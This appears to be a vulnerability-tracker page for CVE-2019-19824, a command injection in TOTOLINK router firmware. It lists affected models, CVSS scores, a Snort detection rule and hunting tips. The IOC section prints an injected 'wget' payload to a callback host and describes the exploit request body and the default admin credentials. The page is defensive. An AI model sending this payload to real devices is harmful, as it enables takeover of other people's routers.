CVE-2019-19824

published 2020-01-27

CVE-2019-19824: On certain TOTOLINK Realtek SDK based routers, an authenticated attacker may execute arbitrary OS commands via the sysCmd parameter to the boafrm/formSysCmd…

Priority P1 83 high 8.8 CVSS 3.1

AV N AC L PR L UI N S U C H I H A H

ITW EXPLOIT VulnCheck KEV

On certain TOTOLINK Realtek SDK based routers, an authenticated attacker may execute arbitrary OS commands via the sysCmd parameter to the boafrm/formSysCmd URI, even if the GUI (syscmd.htm) is not available. This allows for full control over the device's internals. This affects A3002RU through 2.0.0, A702R through 2.1.3, N301RT through 2.1.6, N302R through 3.4.0, N300RT through 3.4.0, N200RE through 4.0.0, N150RT through 3.4.0, N100RE through 3.4.0, and N302RE 2.0.2.

Affected

8 ranges

Vendor	Product	Version range	Fixed in
totolink	a3002ru_firmware	<= 2.0.0	—
totolink	a702r_firmware	<= 2.1.3	—
totolink	n100re_firmware	<= 3.4.0	—
totolink	n150rt_firmware	<= 3.4.0	—
totolink	n200re_firmware	<= 4.0.0	—
totolink	n300rt_firmware	<= 3.4.0	—
totolink	n301rt_firmware	<= 2.1.6	—
totolink	n302r_firmware	<= 3.4.0	—

Detection & IOCs extracted from sources · hover to see the quote

url /boafrm/formSysCmd↗

path /boafrm/formSysCmd

command sysCmd=wget+http://{{interactsh-url}}

snort

alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT TOTOLINK Realtek SDK RCE (CVE-2019-19824)"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/boafrm/formSysCmd"; fast_pattern; http.request_body; content:"Run|2b|Command|26|sysCmd|3d|"; nocase; reference:cve,2019-19824; classtype:attempted-admin; sid:2035282; rev:2; metadata:attack_target Server, created_at 2022_02_23, cve CVE_2019_19824, deployment Perimeter, deployment Internal, confidence High, signature_severity Major, tag Exploit, updated_at 2022_02_23, mitre_tactic_id TA0001, mitre_tactic_name Initial_Access, mitre_technique_id T1190, mitre_technique_name Exploit_Public_Facing_Application;)

bytes

Run|2b|Command|26|sysCmd|3d|

• → Look for HTTP POST requests to the URI /boafrm/formSysCmd — exploitation is possible even when the GUI page syscmd.htm is not exposed. ↗
• → Inspect POST body for the pattern 'Run+Command' (URL-encoded: Run|2b|Command) combined with the 'sysCmd=' parameter — this is the canonical exploit payload structure.
• → The Nuclei template uses a hardcoded Basic Auth header (Base64: admin:password) — monitor for authentication attempts with this credential against /boafrm/formSysCmd.
• → The exploit POST body includes the fixed fields submit-url=%2Fsyscmd.htm, sysCmdselect=5, sysCmdselects=0, and save_apply=Run+Command alongside the injected sysCmd value — use these as corroborating body-content signatures.
• → Suricata/Snort SID 2035282 (ET EXPLOIT TOTOLINK Realtek SDK RCE) covers this CVE — ensure this rule is enabled on perimeter and internal sensors.

• · Exploitation requires prior authentication — the attacker must hold valid credentials (e.g., admin:password) before sending the command-injection payload. ↗
• · The vulnerability is exploitable even when the web GUI page syscmd.htm is disabled or hidden — blocking the GUI page alone is NOT a sufficient mitigation. ↗

CVSS provenance

nvd v3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

nvd v2.0 9.0 CRITICAL AV:N/AC:L/Au:S/C:C/I:C/A:C

osv 7.8 HIGH

vulncheck 8.8 HIGH

CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.

CWE-78